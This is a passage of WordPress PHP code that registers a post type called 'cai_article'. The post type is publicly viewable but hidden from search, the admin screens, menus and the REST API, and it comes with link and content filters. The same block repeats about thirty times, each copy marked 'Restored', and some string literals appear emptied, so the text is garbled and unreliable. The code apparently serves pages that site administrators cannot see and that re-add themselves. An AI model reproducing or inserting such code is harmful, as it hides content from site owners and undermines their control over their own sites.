return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
